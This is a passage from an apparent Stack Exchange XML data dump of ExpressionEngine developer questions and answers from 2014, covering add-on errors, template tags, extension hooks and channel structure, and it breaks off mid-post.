  <row Id="20472" PostTypeId="1" CreationDate="2014-03-19T21:46:17.120" Score="1" ViewCount="216" Body="&lt;p&gt;I'm trying to wrap my head around the most efficient way to set up entries in EE for my site structure. This is my first EE build, coming from a Wordpress background and I'm looking for opinions on how a more experienced EE dev would approach setting up my site's structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site can be defined as an e-catalog, no e-commerce functionality is present but the site is largely based off the product views. I am using the Structure add-on, and have purchased Playa, Matrix and Stash as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pages needed:&#xA;1. Product Category pages - displays links to Product Grid pages&#xA;2. Product Grid pages - displays product tiles. Tiles are groupings of products. The tiles must be created by the client in the CP because there are no patterns amongst the tile groupings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*There is no singular product entry view. The Product Grids are the the most drilled down view of products.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially, I set up channels for Product Categories, Product Grids and Products. I related Product Grids to their respective Product Categories with Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I imported a category of products as individual entries in the Products channel. This is where I'm stuck. I'm not sure if my channel structure is the most efficient and I don't know how to most efficiently create the tiles. I feel like there has to be a better way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on approach would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2868" LastActivityDate="2014-05-18T23:25:45.897" Title="Channels and entries structure on site with deep hierarchy" Tags="|playa|channel|structure|entries|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20473" PostTypeId="1" AcceptedAnswerId="20509" CreationDate="2014-03-19T21:48:45.210" Score="0" ViewCount="90" Body="&lt;p&gt;I dumped my production DB and imported it into my DEV environment, but Assets is showing the wrong thumbnails for S3 images. The full images are correct (they display correctly in the templates), it's just the thumbs that are wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I updated the indexes for those Assets sources, but it didn't fix the problem. I also deleted everything in the &lt;code&gt;/cache/assets&lt;/code&gt; directory, but nope.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.7.2&lt;/li&gt;&#xA;&lt;li&gt;Assets 2.2.2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-04-19T15:51:19.777" Title="Assets: Wrong Thumbnail After DB Migration" Tags="|assets|pixelandtonic|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20475" PostTypeId="1" CreationDate="2014-03-19T22:21:20.157" Score="0" ViewCount="60" Body="&lt;p&gt;I am implementing a Solspace Calendar 1.8.5 on an EE 2.7.3 &lt;a href=&quot;http://opteracreative.com/~mac/calendar_main/create&quot; rel=&quot;nofollow&quot;&gt;a site&lt;/a&gt; and get the following error when I try the built-in sample form:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Disallowed Key Characters&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;calendar_saef&quot;&amp;gt;&#xA;   {exp:channel:form channel=&quot;calendar_events&quot; return=&quot;calendar_main/event/{segment_3}/updated&quot;}&#xA;   &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Title:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; value=&quot;{title}&quot; size=&quot;80&quot; style=&quot;width: 600px;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   {exp:calendar:date_widget}&#xA;   &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Summary:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;textarea name=&quot;{event_summary_field_name}&quot; rows=&quot;5&quot; cols=&quot;65&quot; style=&quot;width: 600px; height: 100px;&quot;&amp;gt;{event_summary}&amp;lt;/textarea&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;label&amp;gt;Location:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;{event_location_field_name}&quot; value=&quot;{event_location}&quot; size=&quot;80&quot; style=&quot;width: 600px;&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;   {/exp:channel:form}&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate some help diagnosing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastEditorUserId="258" LastEditDate="2014-03-20T11:16:14.060" LastActivityDate="2014-03-20T11:16:14.060" Title="Solspace Calendar Create Event: Disallowed Key Characters Error" Tags="|solspace|solspace-calendar|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20476" PostTypeId="1" AcceptedAnswerId="20531" CreationDate="2014-03-19T22:32:45.167" Score="0" ViewCount="69" Body="&lt;p&gt;When I installed the calendar plugin, the first thing I noticed was that the channels did not auto install themselves. Can I add them manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also now when adding content to any channel I receive the following once I hit 'publish', `A Database Error Occurred&#xA;Error Number: 1064&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SELECT channel_id FROM exp_channels WHERE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/calendar/data.calendar.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 578`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="2867" LastActivityDate="2014-03-20T21:43:03.787" Title="Solspace Calendar error after install" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20477" PostTypeId="2" ParentId="20472" CreationDate="2014-03-19T22:35:42.007" Score="2" Body="&lt;p&gt;I would suggest you use EE categories for your product categories rather than channels. Each product tile is an entry in the products channel, and each tile is assigned to one or more categories which determines which product grid it shows up on. The index/category page is then just a list of the categories in your product categories group, and the product grid pages are essentially category archive pages showing all entries assigned to that category.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-19T22:35:42.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20478" PostTypeId="1" CreationDate="2014-03-19T23:31:11.160" Score="1" ViewCount="70" Body="&lt;p&gt;Seem to be having issues with CartThrob and Discount codes that is leaving me with the error &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Your payment failed: Failed: The totals of the cart item amounts do not match order amounts. 10413&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see the error has cropped up before, but doesn't seem to have been fixed from what i can gather. Its only when using a discount code that the error is cropping up. Everything is fine on the basket but when its sent to PayPal Express then its not matching up or been handled correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have tried reinstalling CT 2.5 but no joy...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B.&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2014-03-19T23:31:11.160" Title="Having payment fail issues with CartThrob" Tags="|cartthrob|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20480" PostTypeId="1" CreationDate="2014-03-20T01:27:38.920" Score="1" ViewCount="203" Body="&lt;p&gt;I am experiencing installtion error for ecommerce module with this below message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Expresso Store requires the PHP cURL extension to be installed on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please anyone give me some input?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sus&lt;/p&gt;&#xA;" OwnerUserId="2870" LastActivityDate="2014-03-20T01:27:38.920" Title="PHP cURL extension required" Tags="|expresso|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20481" PostTypeId="1" CreationDate="2014-03-20T02:22:09.460" Score="1" ViewCount="144" Body="&lt;p&gt;I have a CE tag that seems to be setting the exp_flash cookie to the entire contents of each entry output within the loop. This leads to an error in chrome, where the header ends up being too large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set-Cookie: exp_flash=a%3A1%3A%7Bs%3A17%3A%22%3Anew%3Agmap_tagdata%22%3Bs%3A6787%3A%22%0A++++++++++++++++++++++++%0A++++++++++++++++++++++++%7Bexp%3Ace_cache%3Ait+id%3D%22%7Bauthor_id%7Dpost%7Bentry_id%7D%22+url_override%3D%22user%7Bauthor_id%7D%2Fpost%22%7D%0A++++++++++++++++++++++++%3Cli+class%3D%22post%7Bif+c_photo%7D+hasPhoto%7B%2Fif%7D%7Bif+c_desc%7D+hasEvent%7B%2Fif%7D%22+data-id%3D%22%7Bentry_id%7D%22+data-author_id%3D%22%7Bauthor_id%7D%22%3E%0A++++++++++++++++++++++++++++%3Cheader%3E%0A++++++++++++++++++++++++++++++++%3Cdiv+class%3D%22mTime%22%3E%0A++++++++++++++++++++++++++++++++++++%7Bentry_date%3Arelative%7D%0A++++++++++++++++++++++++++++++++%3C%2Fdiv%3E%0A++++++++++++++++++++++++++++++++%7Bif+c_desc%3D%3D%22%22%7D%0A++++++++++++++++++++++++++++++++%3Cdiv+class%3D%22mImage%22%3E%0A++++++++++++++++++++++++++++++++++++%7Bexp%3Ace_img%3Apair+src%3D%22%7Bphoto_url%7D%22+rounded_corners%3D%22all%2C25%22+border%3D%223%7Cffffff%22+height%3D%2250%22++width%3D%2250%22+crop%3D%22yes%22+allow_scale_larger%3D%22yes%22+save_type%3D%22png%22%7D%0A++++++++++++++++++++++++++++++++++++%3Ca+href%3D%22%2Fmember%2F%7Bauthor_id%7D%22%3E%3Cimg+src%3D%22%7Bmade%7D%22+alt%3D%27%7Btitle%7D%27%2F%3E%3C%2Fa%3E%0A++++++++++++++++++++++++++++++++++++%7B%2Fexp%3Ace_img%3Apair%7D%0A++++++++++++++++++++++++++++++++&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc etc this repeats for each entry output on the page.&#xA;Not clear why this would be set, I've toggled extensions and plugins, etc to no end. Anybody know why this might be happening?&lt;/p&gt;&#xA;" OwnerUserId="322" LastActivityDate="2014-04-19T02:50:43.060" Title="exp_flash cookie being set for each channel entry" Tags="|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20482" PostTypeId="2" ParentId="20481" CreationDate="2014-03-20T02:28:16.630" Score="2" Body="&lt;p&gt;This turned out to be an issue with EE 2.8, MSM, and google maps for expressionengine. &#xA;Updated Google maps module to 3.3.5 and all is well&lt;/p&gt;&#xA;" OwnerUserId="322" LastActivityDate="2014-03-20T02:28:16.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20483" PostTypeId="1" CreationDate="2014-03-20T04:20:05.930" Score="1" ViewCount="152" Body="&lt;p&gt;What I'm trying to do is parse the custom field data sent to the &lt;code&gt;entry_submission_end&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I was able to dissect out of the channel entries module, but what I'm confused is how to instantiate an instance of &lt;code&gt;Channel&lt;/code&gt; for use by the template parser library.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function entry_submission_end_hook($entry_id, $entry_metadata, $entry_data) &#xA;{&#xA;    $tag_to_parse = &quot;{page_uri}&quot;;&#xA;    $channel = new Channel; // do I include mod.channel.php and instantiate this, if so how?&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('channel_entries_parser');&#xA;    $parser = $this-&amp;gt;EE-&amp;gt;channel_entries_parser-&amp;gt;create($tag_to_parse);&#xA;    return $parser-&amp;gt;parse($channel, $entry_data);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ideally this should return the URI of the page for the entry saved via &lt;code&gt;entry_submission_end&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Alternatively if there is another way to run logic on parsed tag data from a given entry upon saving or creating said entry I'm all ears.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="565" LastActivityDate="2016-08-09T06:45:22.903" Title="Parse custom field data in entry_submission_end_hook" Tags="|add-on-development|module|channel|extension|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20485" PostTypeId="2" ParentId="20468" CreationDate="2014-03-20T06:11:10.367" Score="0" Body="&lt;p&gt;First, you would set up your form to have a status of &quot;pending&quot; so that the Freeform entry has a status of &quot;pending&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, for a user to be able to edit these &quot;pending&quot; form entries, use &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; to first retrieve the entries, then display the Freeform Edit form using &lt;code&gt;{exp:freeform:edit}&lt;/code&gt; (Note: this tag is a Freeform Pro feature only). For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries status=&quot;pending&quot; /* your other parameters here */}&#xA;    {exp:freeform:edit &#xA;         form_id=&quot;1&quot; &#xA;         entry_id=&quot;{freeform:entry_id}&quot;&#xA;         restrict_edit_to_author=&quot;no&quot;&#xA;         allow_status_edit=&quot;yes&quot;}&#xA;&#xA;      // Your form containing a field for changing the status, &#xA;      // if status=&quot;&quot; is not defined/hard-coded as a parameter:&#xA;      &amp;lt;select name=&quot;status&quot; id=&quot;status&quot;&amp;gt;&#xA;         &amp;lt;option value=&quot;&quot;&amp;gt;Select:&amp;lt;/option&amp;gt;&#xA;         {freeform:statuses status=&quot;not closed|testing&quot;}&#xA;            &amp;lt;option value=&quot;{status_name}&quot;&#xA;         {if freeform:edit_data:status == &quot;{status_name}&quot;}&#xA;            selected=&quot;selected&quot;&#xA;         {/if}&amp;gt;&#xA;            {status_label}&#xA;            &amp;lt;/option&amp;gt;&#xA;         {/freeform:statuses}&#xA;      &amp;lt;/select&amp;gt;&#xA;&#xA;    {/exp:freeform:edit}&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your second question is answered with the above: you could use status=&quot;pending&quot; in &lt;code&gt;{exp:freeform:edit}&lt;/code&gt; to set entries to be &quot;pending&quot;, or use a form field to allow the user to change (or not) the entry's status. Again, this is a Freeform Pro feature.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-20T06:11:10.367" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20486" PostTypeId="2" ParentId="20483" CreationDate="2014-03-20T06:39:10.703" Score="0" Body="&lt;p&gt;Here's what I was able to come up with. I did tap into the channel entries module. This seems excessive since in my scenario it's just taking a single field of text and parsing it but at least it fully implements whatever classes EE has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope this helps someone.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function parse_tagdata($entry_id, $tagdata)&#xA;{&#xA;    require_once PATH_MOD.'channel/mod.channel.php';&#xA;&#xA;    ee()-&amp;gt;TMPL-&amp;gt;tagdata = $tagdata;&#xA;    ee()-&amp;gt;TMPL-&amp;gt;tagparams['dynamic'] = &quot;no&quot;;&#xA;    ee()-&amp;gt;TMPL-&amp;gt;tagparams['entry_id'] = $entry_id;&#xA;    ee()-&amp;gt;TMPL-&amp;gt;site_ids = array($this-&amp;gt;config-&amp;gt;item('site_id'));&#xA;&#xA;    $vars = ee()-&amp;gt;functions-&amp;gt;assign_variables($tagdata);&#xA;    ee()-&amp;gt;TMPL-&amp;gt;var_single  = $vars['var_single'];&#xA;    ee()-&amp;gt;TMPL-&amp;gt;var_pair        = $vars['var_pair'];&#xA;&#xA;    $channel = new Channel;&#xA;    $channel-&amp;gt;fetch_custom_channel_fields();&#xA;    $channel-&amp;gt;fetch_custom_member_fields();&#xA;    $channel-&amp;gt;build_sql_query();&#xA;    $channel-&amp;gt;query = ee()-&amp;gt;db-&amp;gt;query($channel-&amp;gt;sql);               &#xA;    $channel-&amp;gt;parse_channel_entries();&#xA;&#xA;    return $channel-&amp;gt;return_data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="565" LastActivityDate="2014-03-20T06:39:10.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20487" PostTypeId="2" ParentId="20446" CreationDate="2014-03-20T06:39:26.547" Score="0" Body="&lt;p&gt;Thanks all. We found the issue! We did check the database and exp sites and all was fine. I am using git to manage a website on a server and git had changed file permissions when we pushed from the development server to the live server. We needed to set permissions on a directory folder to get it to work. Problem averted! Slaves to our machines :( &lt;/p&gt;&#xA;" OwnerUserId="2865" LastActivityDate="2014-03-20T06:39:26.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20489" PostTypeId="1" CreationDate="2014-03-20T07:00:17.857" Score="1" ViewCount="36" Body="&lt;p&gt;I'm using variables in my notification template. This works great when a use enters a value for that field in the form. The token {name} is replaced with the value the user entered in the text input. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the user doesn't enter a value in the form field the token is printed in the email. {name}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was expecting either a form value or nothing to be printed to the email notification. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to configure this? My notifications are full of tokens that I'd like to only if print the user entered the matching field value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;patrick&lt;/p&gt;&#xA;" OwnerUserId="2871" LastActivityDate="2016-05-30T02:39:52.490" Title="Freeeform template variables always show up" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20490" PostTypeId="1" AcceptedAnswerId="20512" CreationDate="2014-03-20T07:25:50.747" Score="0" ViewCount="30" Body="&lt;p&gt;I'm using the Solspace Friends module, and I'm trying to figure out an easy way to set a badge displaying the users' total friend invites. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation lists a tag: &lt;code&gt;{friends_total_results}&lt;/code&gt;, but this tag only works inside the &lt;code&gt;{exp:friends:invites}&lt;/code&gt; loop, which means it gets repeated for every instance of an invite that the loop returns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here, or is this just simply not possible in this current veriosn?&lt;/p&gt;&#xA;" OwnerUserId="1666" LastActivityDate="2014-03-20T15:55:40.417" Title="How can I display user's total Friend invites without looping through each one?" Tags="|solspace|solspace-friends|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20493" PostTypeId="1" AcceptedAnswerId="20505" CreationDate="2014-03-20T10:29:00.573" Score="0" ViewCount="113" Body="&lt;p&gt;I'm trying to create a navigation menu inside an embed, I have the following code in my main template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries parent_id=&quot;{structure:page:entry_id}&quot;}&#xA;  {if channel_short_name == &quot;accordion&quot;}&#xA;  {embed=&quot;site/template_accordian&quot;}&#xA;  {/if}&#xA;  {if channel_short_name == &quot;album&quot;}&#xA;  {embed=&quot;site/template_album&quot;}&#xA;  {/if}&#xA;{/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works great, however I then have the following inside template_accordian:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;nav id=&quot;primary-nav&quot;&amp;gt;&#xA;  &amp;lt;ul&amp;gt;&#xA;    {exp:structure:entries parent_id=&quot;{structure:parent:entry_id}&quot;}&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#{url_title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:structure:entries}&#xA;  &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{structure:parent:entry_id} doesn't seem to output anything, I'm guessing this is due to parsing order or something but can't work out how to achieve what I want to achieve, any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-04-19T14:51:27.983" Title="Using structure global variables in embeds" Tags="|structure|parse-order|global-variables|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20494" PostTypeId="1" CreationDate="2014-03-20T10:33:55.983" Score="0" ViewCount="198" Body="&lt;p&gt;I want to output all siblings of an item using the same order as displayed in structure, the following code works but I need to be able to do this dynamically as I can't hardcode the parent id for each page this is required on&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries parent_id=&quot;52&quot;} output here {/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then changed the code to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:structure:entries parent_id=&quot;{structure:page:entry_id}&quot;} output here {/exp:structure:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it works, but the output's order is reversed, no idea why this happens, is there anyway to make the order correct, as per the first example?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-03-20T14:40:55.377" Title="{Structure:page:entry_id} ouput order" Tags="|structure|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20495" PostTypeId="2" ParentId="19223" CreationDate="2014-03-20T11:32:52.677" Score="0" Body="&lt;p&gt;Chris, I would also be REALLY, very interested in the next release where we have it installed and working, but unable to share or email the wish lists. Is there an update for when the next version will be released?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I noticed that Wish Lists, as well as others addons, have been removed from the available products list on the website. Is this temporary?&lt;/p&gt;&#xA;" OwnerUserId="2675" LastActivityDate="2014-03-20T11:32:52.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20496" PostTypeId="1" CreationDate="2014-03-20T11:38:47.593" Score="1" ViewCount="208" Body="&lt;p&gt;I need help with cloning an entry that has matrix fields for photos. Entries are made/edited using  Channel Forms. The clone is generated using an extension to the channel_form_submit_entry_end hook  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My Method:&lt;br&gt;&#xA;&lt;code&gt;&#xA;public function generate($channel_form_obj)&#xA;{&#xA;  $entry_id = '';&#xA;  $quote_required = 0;&#xA;  ee()-&gt;security-&gt;restore_xid();&#xA;//I If the form has errors, don't bother&#xA;if (!empty($channel_form_obj-&gt;errors) || !empty($channel_form_obj-&gt;field_errors))&#xA;{&#xA;  return;&#xA;}&#xA;// Grab the group ID&#xA;$author_group_id = ee()-&gt;session-&gt;userdata('group_id');&#xA;// Forge the group ID - the contractors dont normally have quote authority&#xA;ee()-&gt;session-&gt;userdata['group_id'] = 1;&#xA;// Set the roofer's report to lower case before checking for the quote word&#xA;$lc_roofer_report = strtolower( $channel_form_obj-&gt;entry('roofer_report') );&#xA;// Set the order status to lower case before checking for the quote word&#xA;$lc_order_status = strtolower( $channel_form_obj-&gt;entry('order_status') );&#xA;// All repairs requiring further quotes have the word &quot;required&quot; either&#xA;// in the roofer's report or the order status. Both entries are made using a slect list&#xA;$reactive_category = $channel_form_obj-&gt;entry('categories')[0];&#xA;if (&#xA;  preg_match(&quot;/\brequired\b/i&quot;, $lc_roofer_report) == 1&#xA;  ||&#xA;  preg_match(&quot;/\brequired\b/i&quot;, $lc_order_status) == &#xA;  )&#xA;{&#xA;  $quote_required = 1;&#xA;}&#xA;if($reactive_category == 1 &amp;amp;&amp;amp; $quote_required == 1)&#xA;{&#xA;  // Grab the data we need for the quote page and set spawning entry ID so we can find its spawn if we have an edit&#xA;  $data = array(&#xA;        'title'                 =&gt; $channel_form_obj-&gt;entry('title'),&#xA;        'field_id_50'           =&gt; $channel_form_obj-&gt;entry('entry_id'),&#xA;        'field_id_3'            =&gt; $channel_form_obj-&gt;entry('customer_id'),&#xA;        'field_id_37'           =&gt; $channel_form_obj-&gt;entry('customer_reference'),&#xA;        'field_id_5'            =&gt; $channel_form_obj-&gt;entry('job_address'),&#xA;        'field_id_40'           =&gt; $channel_form_obj-&gt;entry('town'),&#xA;        'field_id_30'           =&gt; $channel_form_obj-&gt;entry('postcode'),&#xA;        'field_id_27'           =&gt; $channel_form_obj-&gt;entry('roof_type'),&#xA;        'field_id_28'           =&gt; $channel_form_obj-&gt;entry('roof_condition'),&#xA;        'field_id_32'           =&gt; $channel_form_obj-&gt;entry('job_photos'), // This causes the problem&#xA;        'field_id_33'           =&gt; $channel_form_obj-&gt;entry('quote_details'),&#xA;        'field_id_34'           =&gt; $channel_form_obj-&gt;entry('materials_and_plant'),&#xA;        'field_id_46'           =&gt; $channel_form_obj-&gt;entry('access'),&#xA;        'field_id_41'           =&gt; $channel_form_obj-&gt;entry('notepad'),&#xA;        'author_id'             =&gt; $channel_form_obj-&gt;entry('author_id'),&#xA;        'category'              =&gt; array(2),&#xA;        'field_id_20'           =&gt; 'Pending'&#xA;);&#xA;// Set the entry_id to zero in case this is an entry or an edit not previously spawned,&#xA;// otherwise ve heff crepp&#xA;$data['entry_id'] = 0;&#xA;$entry_id = 0;&#xA;// If this is an edit, check if it is a re-edit of a previous spawn so we can correct&#xA;// the spawned quote&#xA;if($channel_form_obj-&gt;edit == 1)&#xA;{&#xA;  $spawning_entry_id = $channel_form_obj-&gt;entry('entry_id');&#xA;  ee()-&gt;db-&gt;select();&#xA;  ee()-&gt;db-&gt;from('exp_channel_data');&#xA;  ee()-&gt;db-&gt;where('exp_channel_data.field_id_50', $spawning_entry_id);&#xA;  $query = ee()-&gt;db-&gt;get();&#xA;  if ($query-&gt;num_rows() &gt; 1)&#xA;  {&#xA;   // Throw error message - too many spawns&#xA;   return;&#xA;  }&#xA;  elseif ($query-&gt;num_rows() == 1)&#xA;  {&#xA;   // We have a re-edit of a prevously spawned quote&#xA;   $row   = $query-&gt;row_array();&#xA;   $entry_id = $row['entry_id'];&#xA;   //echo 'Entry ID '.$entry_id.'&lt;br /&gt;';&#xA;  }&#xA;}&#xA;$group_id = $this-&gt;EE-&gt;session-&gt;userdata('group_id');&#xA;if (ee()-&gt;session-&gt;userdata('group_id') != '1')&#xA;{&#xA;  //Error Can't Post&lt;br /&gt;';&#xA;}&#xA;else&#xA;{&#xA;  // OK can post&#xA;  $channel_id = $channel_form_obj-&gt;entry('channel_id');&#xA;  ee()-&gt;load-&gt;library('api');&#xA;  ee()-&gt;api-&gt;instantiate('channel_entries');&#xA;  ee()-&gt;api_channel_entries-&gt;save_entry($data, $channel_id, $entry_id, $autosave=false);&#xA;  }&#xA;}&#xA;return;&#xA;}&#xA;&lt;/code&gt; &#xA;This code generates the following warning:&lt;br&gt;&#xA;A PHP Error was encountered&lt;br&gt;&#xA;Severity: Warning&lt;br&gt;&#xA;Message: Illegal string offset 'is_draft'&lt;br&gt;&#xA;Filename: matrix/ft.matrix.php&lt;br&gt;&#xA;Line Number: 2373&lt;br&gt;&#xA;And the matrix field entries are not cloned.&lt;br&gt;&#xA;I obviously do not know how to clone the matrix fields in this situation.&lt;br&gt;&#xA;EE is V2.7.3 and matrix V2.5.10&#xA;Can anyone point me at how to clone the the matrix fields?  &lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2014-05-20T10:45:53.037" Title="Cloning Entries With Matrix Fields" Tags="|matrix|pixelandtonic|channel-form|channel-entries-api|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20497" PostTypeId="1" AcceptedAnswerId="20501" CreationDate="2014-03-20T11:51:58.280" Score="0" ViewCount="148" Body="&lt;p&gt;I have a google map with markers and when you click on an external link, it takes you to a marker on a map. See &lt;a href=&quot;http://jsfiddle.net/clockingowlhours/3JfdP/33/&quot; rel=&quot;nofollow noreferrer&quot;&gt;js fiddle&lt;/a&gt; to see the map in action.&lt;/p&gt;&#xA;&lt;p&gt;The code on the external link looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;#map&amp;quot; onclick=&amp;quot;myClick(0);&amp;quot;&amp;gt;&amp;lt;p&amp;gt;Click me&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;#map&amp;quot; onclick=&amp;quot;myClick(1);&amp;quot;&amp;gt;&amp;lt;p&amp;gt;Click me 2&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;#map&amp;quot; onclick=&amp;quot;myClick(2);&amp;quot;&amp;gt;&amp;lt;p&amp;gt;Click me 3&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So a click will take you to the markers 0 1 2 and so forth. The jsfiddle clarifies this. I need those numbers  to start at zero so in ee the code looks like 